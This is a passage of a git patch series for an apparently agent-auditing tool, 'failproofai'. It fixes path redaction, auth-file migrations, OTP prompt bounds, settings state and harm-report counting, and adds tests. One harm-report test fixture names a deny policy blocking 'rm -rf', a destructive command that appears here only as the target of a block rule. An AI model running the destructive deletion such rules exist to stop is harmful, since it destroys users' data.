// with `/home/u/`), which silently turned off home detection for the one path + // that most needed it. + const homeRoot = home.replace(/\/+$/, ""); return input.replace(ABSOLUTE_PATH_RE, (match) => { // Kernel/device paths are the same on every machine and identify nobody. if (PUBLIC_PATH_ROOTS.some((root) => match.startsWith(root))) return match; @@ -150,7 +155,22 @@ export function shortenPaths(input: string, home = homedir()): string { Math.max(0, segments.length - 1 - KEPT_PARENT_SEGMENTS), segments.length - 1, ); - const underHome = home.length > 0 && match.startsWith(home); + // `/home/u2` starts with `/home/u` as a string and is a different directory, + // so the boundary is checked rather than the prefix alone. + const matchRoot = match.replace(/\/+$/, ""); + const underHome = + homeRoot.length > 0 && (matchRoot === homeRoot || matchRoot.startsWith(`${homeRoot}/`)); + + // The home directory ITSELF is `~`, and nothing more. + // + // Without this, `/home/sidd` shortened to `~/…/sidd` — the username kept as + // the basename, immediately after the `~` whose entire job is to stand in + // for it. The one path guaranteed to name a person was the one the redactor + // spelled out, and it shipped to the server and into the digest. `~/` for a + // trailing slash, so `cd /home/sidd/` still reads as a directory. + if (matchRoot === homeRoot && homeRoot.length > 0) { + return trailingSlash ? "~/" : "~"; + } const root = underHome ? "~" : ""; // `…` rather than `...` so the elision cannot be mistaken for a relative // path component, and reads as one glyph in a monospace digest. diff --git a/src/hooks/migrations.ts b/src/hooks/migrations.ts index 06522932..c46f6f31 100644 --- a/src/hooks/migrations.ts +++ b/src/hooks/migrations.ts @@ -47,7 +47,7 @@ import { rmSync, writeFileSync, } from "node:fs"; -import { basename, dirname, resolve } from "node:path"; +import { basename, dirname, join, resolve } from "node:path"; import { version as cliVersion } from "../../package.json"; import { LAYOUT_VERSION, @@ -142,17 +142,43 @@ function migrateToLayout4(): ResetOutcome { { from: legacy.auditSchedule(), to: auditScheduleFile() }, ]; + // `FAILPROOFAI_AUTH_DIR` names a directory OUTSIDE the managed home — a + // documented env var, not a test hook — and `auth-store` resolves the session + // relative to it. Every path above comes from `FAILPROOFAI_HOME`, so without + // this the override directory is never visited: the file stays `auth.json`, + // layout 4 reads `session.json`, and the upgrade signs the user out silently. + // Their scans keep running and their digests stop, which is the failure this + // whole area is built to avoid. + // + // The same two moves, in their directory, so one naming scheme holds + // everywhere rather than the file having a different name depending on how + // the process was configured. + const authDirOverride = process.env.FAILPROOFAI_AUTH_DIR; + if (authDirOverride) { + moves.push( + { from: join(authDirOverride, "auth.json"), to: join(authDirOverride, "session.json") }, + { + from: join(authDirOverride, "next-audit.json"), + to: join(authDirOverride, "reminder.json"), + }, + ); + } + const migrated: string[] = []; for (const { from, to } of moves) { if (!existsSync(from)) continue; if (existsSync(to)) { // The layout-4 file is already authoritative. Drop the stale original // rather than leaving a second copy of a credential lying at the root. - try { - rmSync(from, { force: true }); - } catch { - // Reported by its continued presence; not worth failing the chain. - } + // + // A failure here PROPAGATES. Swallowing it continued to `writeVersionFile` + // and stamped the home as layout 4 with `auth.json` — a live bearer token + // — still sitting at the root, where nothing would ever look at it again + // and nothing would ever clean it up. Throwing leaves the home at layout 3 + // and the next command retries, which is exactly what `runMigrations` + // documents a failed step to mean; the destination is already + // authoritative, so the retry is a no-op plus one more delete attempt. + rmSync(from, { force: true }); continue; } mkdirSync(dirname(to), { recursive: true }); From 5d9259c1ef09cd4af8693dc965cc87f874c88a37 Mon Sep 17 00:00:00 2001 From: SiddarthAA Date: Sat, 15 Aug 2026 03:14:13 +0530 Subject: [PATCH 14/24] Five defects from an adversarial review pass MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Each demonstrated before it was touched. **The digest went permanently quiet on mature machines.** A policy straddling the window falls back to counting its in-window examples, and the audit keeps at most three per policy in transcript-walk order. On a machine months into its history those three are routinely all old, so a policy that fired an hour ago scored zero and the row was dropped — and since firstSeen never moves back past the watermark, it was dropped from every later report too. The module docs call this "a delayed digest"; it is a feature that stops working the longer you use it. Where lastSeen itself falls inside the window that timestamp is a real in-window event, so the count floors at one instead of vanishing. **A failed migration could strand a home as "current" forever.** Every step ends at writeVersionFile(), which stamped LAYOUT_VERSION rather than the step's own `to` — harmless while every chain was one hop, a trap the moment this release made one two. On 2 → 3 → 4 the first step stamps 4, so a 3 → 4 that throws leaves detectLayout() reporting `current`: nothing retries, auth.json stays at the root while layout 4 reads audit/session.json, and the machine is signed out with its own session on disk. writeVersionFile now honours the `layout` its signature always accepted and its body ignored; a failed step restores the marker to step.from, and only when it already claims to be current. **A pasted OTP killed the sign-in.** The server validates the code at 4..12 characters, so pasting "Your code is 123456" returns validation_error rather than invalid_code — and the retry loop only re-prompts on invalid_code. It aborted and cost a fresh email. The prompt is bounded at both ends now. **One failed refresh blanked a healthy console.** reload's catch closed over a `view` frozen at first render, so on a page the server could not seed it stayed null forever and the next transient failure — a tab hide fires the same listener — replaced a working console with an error. **An interval edit was silently dropped.** 7 → 14 → 7 compared the second write against a stale mirror, decided nothing changed, and skipped it: input reading 7, config saying 14. Also: audit_share_section_shown latched before the auth probe resolved, so every view ever recorded carried signed_in: false. And the "turns OFF" settings test mocked a shape the SetAutoAuditResult union forbids, so its branch never ran and it asserted only that the action had been called. Co-Authored-By: Claude Opus 5 (1M context) --- CHANGELOG.md | 2 + __tests__/audit/cli-login.test.ts | 119 ++++++++++++++++++ .../audit/come-back-better-section.test.tsx | 36 ++++++ __tests__/audit/harm-report.test.ts | 27 ++++ .../audit/settings-scheduled-audit.test.tsx | 73 ++++++++++- __tests__/hooks/migrations.test.ts | 31 ++++- .../_components/come-back-better-section.tsx | 21 +++- app/settings/settings-client.tsx | 34 ++++- src/audit/cli-login.ts | 15 ++- src/audit/harm-report.ts | 16 ++- src/hooks/fp-config.ts | 13 +- src/hooks/migrations.ts | 27 +++- 12 files changed, 401 insertions(+), 13 deletions(-) create mode 100644 __tests__/audit/cli-login.test.ts diff --git a/CHANGELOG.md b/CHANGELOG.md index d59b9902..285c0375 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -22,6 +22,8 @@ ### Fixes +- Five defects from an adversarial pass, each demonstrated before it was touched. **The digest went permanently quiet on the machines with the most to report.** A policy straddling the window falls back to counting its in-window examples, and the audit keeps at most three per policy in transcript-walk order — so on a machine months into its history those three are routinely all old, a policy that fired an hour ago scored zero, and the row was dropped. `firstSeen` never moves back past the watermark, so it was dropped from every later report too: not a delayed digest, a feature that silently stops working the longer you use it. Where `lastSeen` itself falls inside the window, that timestamp IS a real in-window event, so the count floors at one rather than vanishing — "never invent a hit" intact. **A failed migration could strand a home as "current" forever.** Every step ends at `writeVersionFile()`, which stamped `LAYOUT_VERSION` rather than the step's own `to` — harmless while every chain was one hop, and a trap the moment this release made one two. On `2 → 3 → 4` the first step stamps 4, so a `3 → 4` that throws leaves `detectLayout()` reporting `current`: nothing ever retries, `auth.json` stays at the root while layout 4 reads `audit/session.json`, and the machine is signed out with its own session still on disk. `writeVersionFile` now honours the `layout` its signature always accepted and its body silently ignored, and a failed step puts the marker back at `step.from`. **A pasted OTP killed the sign-in.** The api-server validates the code at 4..12 characters, so pasting "Your code is 123456" out of the email returns `validation_error` rather than `invalid_code` — and the retry loop only re-prompts on `invalid_code`, so it aborted and cost a fresh email. The prompt is bounded at both ends now, matching the server. **One failed refresh blanked a healthy settings console.** `reload`'s catch closed over a `view` frozen at first render, so on a page the server could not seed it stayed null forever and the next transient failure — a tab hide fires the same listener — replaced a working console with an error. **An interval edit was silently dropped**: 7 → 14 → 7 compared the second write against a stale mirror, decided nothing had changed, and skipped it, leaving the input reading 7 and the config saying 14. Also `audit_share_section_shown` latched before the auth probe resolved, recording `signed_in: false` for every view ever taken. (#698) + - Four from review, each verified against the code before it was touched — nine other findings were stale or cosmetic and are left alone. **The redactor emitted the username.** `/home/sidd` shortened to `~/…/sidd`, keeping the name as the basename immediately after the `~` whose entire job is to stand in for it: the one path guaranteed to identify a person was the one path spelled out, and it went to the api-server in `harmful[].examples` and into the digest. The home directory is now `~` and nothing else. Fixing it surfaced a second defect underneath — `underHome` used a bare `startsWith`, so a home carrying a trailing slash failed to match itself, and `/home/u2` matched `/home/u`; the boundary is checked now, once, outside the replace callback. **A policy straddling the window's upper edge reported hits from after it.** `wholly` tested the lower bound alone, so a policy that began inside the window and was still firing after it closed sent `count.hits` — every hit, including the ones past `to` — while its examples were correctly filtered to the window. Those hits then landed inside the NEXT window too, since the watermark advances to `to`, and were reported a second time from one occurrence. Both edges are checked; a straddle at either falls back to the examples actually inside, which undercounts but never invents. **`FAILPROOFAI_AUTH_DIR` upgrades signed people out silently.** It is a documented env var naming a directory outside the managed home, and every path in the layout-4 step comes from `FAILPROOFAI_HOME` — so the override directory was never visited, the file stayed `auth.json`, layout 4 read `session.json`, and the session vanished with no message: scans still running, digests quietly stopped. The step migrates that directory too, so one naming scheme holds regardless of how the process was configured. **A failed cleanup marked the migration successful.** When the destination already existed the step dropped the layout-3 original and swallowed any error, then carried on to stamp layout 4 — leaving `auth.json`, a live bearer token, at the home root where nothing would look at it again and nothing would ever clean it up. It propagates now, which leaves the home at layout 3 and retries on the next command, exactly as `runMigrations` documents a failed step to mean. (#698) - Stop a harm-report test asserting a path shape that only holds on the machine that wrote it. `redactExample` resolves the real `homedir()` to decide whether a path earns the `~` prefix, and the test fed it a hardcoded `/home/sidd/...` while expecting `~/…/.env` — true on the author's box, false on CI, where `HOME` is `/home/runner` and the same input correctly redacts to `/…/.env`. The example is now built from `homedir()`, so the assertion is about the REDACTION rather than about whose laptop ran it. Verified by re-running the suite with `HOME` overridden, which reproduces the CI failure exactly and then passes. (#698) diff --git a/__tests__/audit/cli-login.test.ts b/__tests__/audit/cli-login.test.ts new file mode 100644 index 00000000..effde68e --- /dev/null +++ b/__tests__/audit/cli-login.test.ts @@ -0,0 +1,119 @@ +// @vitest-environment node +/** + * `failproofai audit --schedule`'s sign-in prompts. + * + * The whole flow is two questions and a retry loop, and the part worth pinning + * is where the loop's assumptions meet the api-server's: it re-asks for a code + * only when the server says `invalid_code`, so any other rejection ends the + * sign-in. What the prompts refuse LOCALLY therefore decides which mistakes cost + * a retry and which cost the whole login. + */ +import { describe, it, expect, vi, beforeEach } from "vitest"; + +const { promptTextMock, requestMock, verifyMock, writeAuthMock } = vi.hoisted(() => ({ + promptTextMock: vi.fn(), + requestMock: vi.fn(), + verifyMock: vi.fn(), + writeAuthMock: vi.fn(), +})); + +vi.mock("../../src/hooks/tui", () => ({ promptText: promptTextMock })); +vi.mock("../../lib/auth/api-server-client", async (orig) => ({ + ...(await orig()), + requestLoginCode: requestMock, + verifyLoginCode: verifyMock, +})); +vi.mock("../../lib/auth/auth-store", async (orig) => ({ + ...(await orig()), + writeAuth: writeAuthMock, +})); + +import { runLogin } from "../../src/audit/cli-login"; +import { AuthApiError } from "../../lib/auth/api-server-client"; + +/** The `validate` the code prompt was handed, so it can be exercised directly. */ +function codeValidator(): (v: string) => string | null { + const call = promptTextMock.mock.calls.find(([opts]) => opts.message === "the code"); + expect(call, "the code prompt was never reached").toBeDefined(); + return call![0].validate; +} + +const TOKENS = { + token_type: "Bearer" as const, + access_token: "at", + access_expires_in: 900, + refresh_token: "rt", + refresh_expires_in: 86_400, + user: { id: "u_1", email: "you@example.com" }, +}; + +beforeEach(() => { + promptTextMock.mockReset(); + requestMock.mockReset().mockResolvedValue({ + status: "code_sent", + expires_in: 600, + resend_available_in: 60, + }); + verifyMock.mockReset().mockResolvedValue(TOKENS); + writeAuthMock.mockReset(); + vi.spyOn(process.stdout, "write").mockImplementation(() => true); + vi.spyOn(process.stderr, "write").mockImplementation(() => true); +}); + +describe("the code prompt", () => { + it("refuses a value longer than the api-server will validate", async () => { + // The server bounds `code` at 4..12 characters, and a longer one comes back + // as `validation_error` rather than `invalid_code` — which the retry loop + // below does not recognise, so the whole sign-in aborts and the next attempt + // costs a fresh email. Pasting the sentence around the code out of the + // message, rather than just the code, is the ordinary way to hit that. + promptTextMock + .mockResolvedValueOnce("you@example.com") + .mockResolvedValueOnce("123456"); + + await runLogin(); + + const validate = codeValidator(); + expect(validate("Your code is 123456")).toMatch(/paste just the code/i); + expect(validate("1234567890123")).toBeTruthy(); + // And the ordinary six digits still pass, plus the boundary either side. + expect(validate("123456")).toBeNull(); + expect(validate("1234")).toBeNull(); + expect(validate("123456789012")).toBeNull(); + expect(validate("123")).toBeTruthy(); + }); +}); + +describe("the retry loop", () => { + it("re-asks on a wrong code rather than sending a second email", async () => { + promptTextMock + .mockResolvedValueOnce("you@example.com") + .mockResolvedValueOnce("000000") + .mockResolvedValueOnce("123456"); + verifyMock + .mockRejectedValueOnce(new AuthApiError(401, "invalid_code", "that code is wrong")) + .mockResolvedValueOnce(TOKENS); + + const user = await runLogin(); + + expect(user.email).toBe("you@example.com"); + // One code, two attempts at it. A fresh email per typo would burn the + // server's own per-address rate limit on the user's behalf. + expect(requestMock).toHaveBeenCalledTimes(1); + expect(verifyMock).toHaveBeenCalledTimes(2); + expect(writeAuthMock).toHaveBeenCalledTimes(1); + }); + + it("stops on anything that is not a wrong code", async () => { + // A rate limit or a validation failure will not become a success by asking + // the same question again, and the message names the remedy instead. + promptTextMock + .mockResolvedValueOnce("you@example.com") + .mockResolvedValueOnce("123456"); + verifyMock.mockRejectedValue(new AuthApiError(429, "rate_limited", "slow down", 30)); + + await expect(runLogin()).rejects.toThrow(/too many attempts/i); + expect(verifyMock).toHaveBeenCalledTimes(1); + expect(writeAuthMock).not.toHaveBeenCalled(); + }); +}); diff --git a/__tests__/audit/come-back-better-section.test.tsx b/__tests__/audit/come-back-better-section.test.tsx index 10ddc2fc..45fb40a8 100644 --- a/__tests__/audit/come-back-better-section.test.tsx +++ b/__tests__/audit/come-back-better-section.test.tsx @@ -88,6 +88,42 @@ describe("section 05 is only the share", () => { }); }); +describe("the impression event", () => { + it("reports the signed-in state the probe actually found", async () => { + // It used to report `signed_in: false` for every view ever recorded. The + // event fires on the FIRST commit and `signedIn` is only filled by the + // /api/auth/status probe, which resolves later — and since null doubles as + // "signed out" there was nothing to tell "not yet asked" from "asked and + // no". A signed-in reader was indistinguishable from a signed-out one in + // the one number this event exists to carry. + stubFetch(true); + render(); + await waitFor(() => + expect(captureMock).toHaveBeenCalledWith("audit_share_section_shown", { signed_in: true }), + ); + // Once per view, not once per state change. + expect( + captureMock.mock.calls.filter(([name]) => name === "audit_share_section_shown"), + ).toHaveLength(1); + }); + + it("still reports the view when the probe fails outright", async () => { + // A probe that never answers must not swallow the impression — losing the + // view entirely is a worse answer than the one it has. + vi.stubGlobal( + "fetch", + vi.fn(async (input: RequestInfo | URL) => { + if (String(input).includes("/api/auth/status")) throw new Error("network down"); + return new Response("{}", { status: 200, headers: { "content-type": "application/json" } }); + }), + ); + render(); + await waitFor(() => + expect(captureMock).toHaveBeenCalledWith("audit_share_section_shown", { signed_in: false }), + ); + }); +}); + describe("the invite", () => { it("asks an unauthed user to sign in, then opens the invite dialog", async () => { stubFetch(false); diff --git a/__tests__/audit/harm-report.test.ts b/__tests__/audit/harm-report.test.ts index f23cce38..79d94953 100644 --- a/__tests__/audit/harm-report.test.ts +++ b/__tests__/audit/harm-report.test.ts @@ -129,6 +129,33 @@ describe("selectHarmful — the window", () => { expect(p.examples).toHaveLength(2); }); + it("still reports a straddling policy whose kept examples are all older than the window", () => { + // The mature-machine case, and the one that made the feature go quiet on + // exactly the boxes with the most to say. The audit keeps three examples per + // policy, picked in whatever order the transcripts were walked, so on a + // machine months into its history all three are routinely old. The + // straddling branch counts in-window EXAMPLES, that came out at zero, and + // the row was dropped — even though `lastSeen` says the policy fired inside + // the window. `firstSeen` never moves back, so it was dropped from every + // later report too. + const r = result([ + count({ + name: "failproofai/block-rm-rf", + severity: "deny", + hits: 50, + firstSeen: "2026-01-01T00:00:00.000Z", + lastSeen: AUG_14, + examples: [example(AUG_01), example(AUG_01), example(AUG_01)], + }), + ]); + const [p] = selectHarmful(r, new Date(AUG_07), new Date(AUG_14)); + expect(p).toBeDefined(); + // One is what `lastSeen` proves and no more — the row exists without + // inventing a hit, and it carries no example it cannot place in the window. + expect(p.hits).toBe(1); + expect(p.examples).toEqual([]); + }); + it("undercounts rather than overcounts, so it can delay a digest but never invent one", () => { const r = result([ count({ diff --git a/__tests__/audit/settings-scheduled-audit.test.tsx b/__tests__/audit/settings-scheduled-audit.test.tsx index 908d3366..b9aaeef6 100644 --- a/__tests__/audit/settings-scheduled-audit.test.tsx +++ b/__tests__/audit/settings-scheduled-audit.test.tsx @@ -172,11 +172,22 @@ describe("the switch", () => { // An expired session must never trap somebody into keeping a feature they // are trying to disable. lastView = view({ auto: true, signedInAs: null }); - getViewMock.mockResolvedValue(lastView); - setAutoMock.mockResolvedValue({ auto: false }); + // Mount reads the real state; the refresh AFTER the write is failed on + // purpose, so the only thing that can move the switch is the action's own + // answer. Without that the reload would flip it regardless and this would + // assert nothing about how the result is read. + getViewMock.mockResolvedValueOnce(lastView).mockRejectedValue(new Error("gone")); + // The FULL discriminated shape. `{ auto: false }` alone is a value the + // action can no longer return, and the component narrows on `res.ok` before + // touching `auto` — so a mock missing it left the "did the switch actually + // move" half of this test asserting nothing at all. + setAutoMock.mockResolvedValue({ ok: true, auto: false }); renderSettings(); fireEvent.click(await screen.findByRole("switch", { name: "turn off scheduled audits" })); await waitFor(() => expect(setAutoMock).toHaveBeenCalledWith(false)); + expect( + await screen.findByRole("switch", { name: "turn on scheduled audits" }), + ).toHaveAttribute("aria-checked", "false"); }); it("reverts the toggle when the write fails", async () => { @@ -224,6 +235,64 @@ describe("the interval", () => { fireEvent.blur(input); await waitFor(() => expect(input).toHaveValue(90)); }); + + it("saves a change back to the value the page was first loaded with", async () => { + // The blur handler skips the write when the typed value already matches + // what is on disk, and `commitInterval` deliberately does not re-read — so + // the on-disk mirror it compares against has to be updated by the commit + // itself. Left stale, it lagged two edits behind: 7 → 14 saved, then 14 → 7 + // compared 7 against the ORIGINAL 7, decided nothing had changed, and + // dropped the write. The input read 7 while the config still said 14. + lastView = view({ signedInAs: { id: "u", email: "a@b.c" } }); + getViewMock.mockResolvedValue(lastView); + setIntervalMock.mockImplementation(async (days: number) => ({ intervalDays: days })); + renderSettings(); + const input = await screen.findByLabelText("days between scheduled scans"); + + fireEvent.change(input, { target: { value: "14" } }); + fireEvent.blur(input); + await waitFor(() => expect(setIntervalMock).toHaveBeenCalledWith(14)); + + fireEvent.change(input, { target: { value: "7" } }); + fireEvent.blur(input); + await waitFor(() => expect(setIntervalMock).toHaveBeenCalledWith(7)); + }); +}); + +describe("a refresh that fails", () => { + it("keeps a console the client has already loaded", async () => { + // `reload` has an empty dep list, so the `view` it closed over was frozen at + // the first render — and on a page the SERVER could not seed (`initial` is + // null, which `page.tsx` handles by leaving the client to load it) that + // frozen value stayed null even after the client succeeded. The next + // transient failure then read "there is nothing on screen" and replaced a + // working console with the unreadable-settings message. The focus listener + // fires on every visibilitychange, including a tab hide, so "next" is soon. + // `lastView` is what `renderSettings` falls back to, so it has to be + // cleared for `initial` to actually arrive as null — which is the whole + // premise of this test. + lastView = null; + getViewMock.mockResolvedValue(view({ auto: true, signedInAs: { id: "u", email: "a@b.c" } })); + renderSettings(null); + expect(await screen.findByText("a@b.c")).toBeInTheDocument(); + + getViewMock.mockRejectedValue(new Error("api down")); + fireEvent.focus(window); + + await waitFor(() => expect(getViewMock).toHaveBeenCalledTimes(2)); + expect(screen.queryByText(/could not read this machine/i)).not.toBeInTheDocument(); + expect(screen.getByText("a@b.c")).toBeInTheDocument(); + }); + + it("still reports a machine it has never managed to read", async () => { + // The other direction, which the guard exists for: nothing was ever loaded, + // so there is no truth on screen to protect and the page must say so rather + // than render an empty console. + lastView = null; + getViewMock.mockRejectedValue(new Error("api down")); + renderSettings(null); + expect(await screen.findByText(/could not read this machine/i)).toBeInTheDocument(); + }); }); describe("the schedule tape", () => { diff --git a/__tests__/hooks/migrations.test.ts b/__tests__/hooks/migrations.test.ts index 5aa31449..dad453c7 100644 --- a/__tests__/hooks/migrations.test.ts +++ b/__tests__/hooks/migrations.test.ts @@ -32,7 +32,7 @@ import { migrationLedgerFile, versionFile, } from "../../src/hooks/fp-home"; -import { readVersionFile } from "../../src/hooks/fp-config"; +import { detectLayout, readVersionFile } from "../../src/hooks/fp-config"; import { MIGRATIONS, backupBeforeMigrating, @@ -608,6 +608,35 @@ describe("runMigrations", () => { expect(readVersionFile()?.layout).toBe(2); }); + it("does not leave a home marked current when a LATER step in the chain throws", () => { + // The multi-step version of the test above, with the real registry rather + // than stubs — and the reason it needs the real one. Every step ends at + // `writeVersionFile()`, which stamps LAYOUT_VERSION rather than the step's + // own `to`, so on a `2 → 3 → 4` chain the FIRST step already claims the home + // is current. A `3 → 4` that then throws used to leave exactly that claim + // standing: `detectLayout()` said `current`, nothing ever retried, and + // `auth.json` stayed at the root while layout 4 read `audit/session.json` — + // the machine silently signed out with its own session still on disk. + seedLayoutTwo(); + writeFileSync(legacy.authJson(), '{"access_token":"at"}', { mode: 0o600 }); + // Make the 3 → 4 step fail for a real reason: the destination already + // exists, so it deletes the layout-3 original — and a DIRECTORY there makes + // that delete throw EISDIR (`rmSync(force)` suppresses ENOENT and nothing + // else). + mkdirSync(auditDir(), { recursive: true }); + writeFileSync(auditSessionFile(), '{"access_token":"already-here"}', { mode: 0o600 }); + rmSync(legacy.authJson(), { force: true }); + mkdirSync(legacy.authJson(), { recursive: true }); + writeFileSync(resolve(legacy.authJson(), "trapped"), "x"); + + const run = runMigrations(2); + + expect(run.failed?.from).toBe(3); + // Behind this build, so the next command plans the chain again. + expect(readVersionFile()!.layout).toBeLessThan(LAYOUT_VERSION); + expect(detectLayout().kind).toBe("stale"); + }); + it("does not run any step after the failing one", () => { let thirdRan = false; const chain: Migration[] = [ diff --git a/app/audit/_components/come-back-better-section.tsx b/app/audit/_components/come-back-better-section.tsx index 56322fd7..d96800de 100644 --- a/app/audit/_components/come-back-better-section.tsx +++ b/app/audit/_components/come-back-better-section.tsx @@ -35,6 +35,17 @@ const INVITE_AUTH_COPY = { export function ComeBackBetterSection({ score }: Props) { const { capture } = usePostHog(); const [signedIn, setSignedIn] = useState<{ id: string; email: string } | null>(null); + /** + * Whether the sign-in probe below has come back yet. + * + * `signedIn` starts null and null also means "signed out", so on its own it + * cannot say whether the answer has arrived — and the impression event fires + * on the first commit, which is always before the fetch resolves. It + * therefore reported `signed_in: false` for every view ever recorded, + * including a signed-in one. A separate flag restores the tri-state the + * previous version of this section carried for the same reason. + */ + const [probed, setProbed] = useState(false); const [authOpen, setAuthOpen] = useState(false); const [inviteOpen, setInviteOpen] = useState(false); const shownRef = useRef(false); @@ -57,6 +68,12 @@ export function ComeBackBetterSection({ score }: Props) { // Leave whatever we last knew. A failed probe is not evidence of a // signed-out user, and downgrading on one would prompt for a login the // person already completed. + } finally { + // In `finally`, so a route that 404s or a fetch that throws still + // releases the impression event. A failed probe genuinely does not know + // whether anyone is signed in, and never reporting the view at all is a + // worse answer than reporting the one it has. + if (!cancelled) setProbed(true); } })(); return () => { @@ -65,10 +82,10 @@ export function ComeBackBetterSection({ score }: Props) { }, []); useEffect(() => { - if (shownRef.current) return; + if (!probed || shownRef.current) return; shownRef.current = true; capture("audit_share_section_shown", { signed_in: signedIn !== null }); - }, [capture, signedIn]); + }, [capture, probed, signedIn]); const handleInvite = useCallback(() => { capture("audit_perks_invite_clicked", { signed_in: signedIn !== null }); diff --git a/app/settings/settings-client.tsx b/app/settings/settings-client.tsx index da66021d..a8aa5fe1 100644 --- a/app/settings/settings-client.tsx +++ b/app/settings/settings-client.tsx @@ -228,6 +228,20 @@ export default function SettingsClient({ initial }: { initial: ScheduledAuditVie */ const [nowMs, setNowMs] = useState(0); const mounted = useRef(true); + /** + * Whether anything is on screen to protect, readable from a stable callback. + * + * `reload` has an empty dep list on purpose (see below), so the `view` it + * closes over is frozen at the FIRST render forever. Testing that state + * directly therefore answered a question about page load, not about now: a + * page seeded with `initial === null` — the case `page.tsx` builds for when + * the server read fails — kept reading `!view` as true even after the client + * had successfully loaded, so the next transient failure (the focus listener + * below fires on every `visibilitychange`, including a tab hide) replaced a + * working console with "could not read this machine's settings". A ref is + * read at call time, which is when the question is being asked. + */ + const hasView = useRef(initial !== null); const reload = useCallback(async () => { try { @@ -238,19 +252,22 @@ export default function SettingsClient({ initial }: { initial: ScheduledAuditVie // Fetching them separately is how a page ends up showing a fresh // timestamp beside a stale count. setView(next); + hasView.current = true; setAuto(next.auto); setIntervalDays(next.intervalDays); setNowMs(Date.now()); setLoadError(false); } catch { - if (mounted.current && !view) setLoadError(true); + if (mounted.current && !hasView.current) setLoadError(true); // An existing view is LEFT ALONE on a failed refresh: it describes real // machine state, and blanking it would report something less true than // what is already on screen. } - // `view` is deliberately not a dep — including it would rebuild this on - // every load and re-fire the focus listener below. - // eslint-disable-next-line react-hooks/exhaustive-deps + // Empty on purpose, and now honestly so: reading `view` here would rebuild + // this callback on every load and re-fire the focus listener below, which is + // why the "is anything on screen" question goes through the ref above + // instead. Nothing reactive is left to declare, so the rule no longer needs + // suppressing — and the suppression had been hiding the stale read. }, []); useEffect(() => { @@ -354,6 +371,15 @@ export default function SettingsClient({ initial }: { initial: ScheduledAuditVie // re-read has not changed yet either, since the daemon recomputes the // next due time on its own tick rather than when the interval is saved. setIntervalDays(res.intervalDays); + // `view` is this page's mirror of what is ON DISK, and the write just + // changed disk — so it has to be told, even though nothing is re-read. + // The blur handler below skips the write when the typed value already + // equals `view.intervalDays`, and with the mirror left stale that guard + // compared against a number two edits old: type 14, blur, then type the + // original 7 back and the second blur was silently dropped. The input + // read 7, the config still said 14, and nothing said so until the next + // focus refresh flipped the field back. + setView((v) => (v ? { ...v, intervalDays: res.intervalDays } : v)); toast(`scanning every ${res.intervalDays} day${res.intervalDays === 1 ? "" : "s"}.`); } catch { setIntervalDays(view?.intervalDays ?? 7); diff --git a/src/audit/cli-login.ts b/src/audit/cli-login.ts index 4d8fb16f..07983a25 100644 --- a/src/audit/cli-login.ts +++ b/src/audit/cli-login.ts @@ -89,7 +89,20 @@ export async function runLogin(): Promise { const code = await promptText({ message: "the code", hint: "123456", - validate: (v) => (v.trim().length >= 4 ? null : "codes are at least 4 characters"), + // Bounded at BOTH ends, and the upper one is not cosmetic. The api-server + // validates the code as 4..12 characters, and a longer one fails + // validation rather than verification — it comes back as + // `validation_error`, not `invalid_code`, so the retry below does not + // recognise it and the whole sign-in aborts. Pasting the sentence around + // the code out of the email, rather than just the digits, is the ordinary + // way to hit that, and losing the login to it would send a second code + // for a first one that was never wrong. + validate: (v) => { + const trimmed = v.trim(); + if (trimmed.length < 4) return "codes are at least 4 characters"; + if (trimmed.length > 12) return "that's longer than a code — paste just the code itself"; + return null; + }, }); if (code === null) throw new LoginError("Cancelled."); diff --git a/src/audit/harm-report.ts b/src/audit/harm-report.ts index 9bbc8c00..067dd524 100644 --- a/src/audit/harm-report.ts +++ b/src/audit/harm-report.ts @@ -165,7 +165,21 @@ export function selectHarmful( const afterLowerEdge = fromMs === null || (first !== null && first > fromMs); const beforeUpperEdge = last !== null && last <= toMs; const wholly = unplaceable || (afterLowerEdge && beforeUpperEdge); - const hits = wholly ? count.hits : inWindow.length; + // A straddling policy falls back to its in-window EXAMPLES, and the audit + // keeps at most three of them per policy, chosen in whatever order the + // transcripts happened to be walked. On a machine that has been running + // agents for months those three are routinely all old — so a policy that + // fired an hour ago scored zero and was dropped, and because `firstSeen` + // stays before the watermark forever, it was dropped from every later report + // too. Not a delayed digest: a feature that goes quiet on exactly the + // machines with the most to report. + // + // `beforeUpperEdge` having survived the `last <= fromMs` skip above means + // `lastSeen` itself sits inside the window, and that timestamp IS a real + // event. One is the floor it proves, which keeps the "never invent a hit" + // rule intact while making the row exist. + const floor = beforeUpperEdge ? 1 : 0; + const hits = wholly ? count.hits : Math.max(inWindow.length, floor); if (hits <= 0) continue; out.push({ diff --git a/src/hooks/fp-config.ts b/src/hooks/fp-config.ts index 5a6f6da7..8d47a9d5 100644 --- a/src/hooks/fp-config.ts +++ b/src/hooks/fp-config.ts @@ -210,12 +210,23 @@ export function readVersionFile(): VersionFile | null { } } +/** + * Stamp `VERSION`. + * + * `layout` defaults to {@link LAYOUT_VERSION} — every ordinary caller is saying + * "this home now speaks what this build speaks". It is honoured when passed + * ONLY so a failed migration can put the marker back where the home actually + * is: the signature has always accepted `layout` (it is part of `VersionFile`) + * and the body used to ignore it, so a caller asking for 3 silently got 4, and + * the one place that needs to ask is the one place where being wrong strands a + * half-migrated home as "current" forever. See `runMigrations`. + */ export function writeVersionFile( v: Partial & { /** Erase the daemon version rather than keeping it. */ clearDaemon?: boolean } = {}, ): void { const existing = readVersionFile(); const next: VersionFile = { - layout: LAYOUT_VERSION, + layout: v.layout ?? LAYOUT_VERSION, cli: v.cli ?? cliVersion, // `undefined` means "leave whatever is there" — a CLI-only rewrite must not // drop a daemon version it never touched. Erasing it is therefore an diff --git a/src/hooks/migrations.ts b/src/hooks/migrations.ts index c46f6f31..2d198e8e 100644 --- a/src/hooks/migrations.ts +++ b/src/hooks/migrations.ts @@ -63,7 +63,7 @@ import { migrationsDir, versionFile, } from "./fp-home"; -import { writeVersionFile } from "./fp-config"; +import { readVersionFile, writeVersionFile } from "./fp-config"; import { resetHome, type ResetOutcome } from "./fp-reset"; export interface Migration { @@ -517,6 +517,31 @@ export function runMigrations( }); } catch (err) { steps.push({ from: step.from, to: step.to, ok: false }); + // Undo an EARLIER step's over-stamp, if there was one. + // + // A step ends by stamping `VERSION`, and `writeVersionFile()` writes + // {@link LAYOUT_VERSION} rather than the step's own `to`. That was harmless + // while every chain was one hop and became a trap the moment one was two: + // on `2 → 3 → 4` the FIRST step stamps 4, so a `3 → 4` that then throws + // leaves a home marked 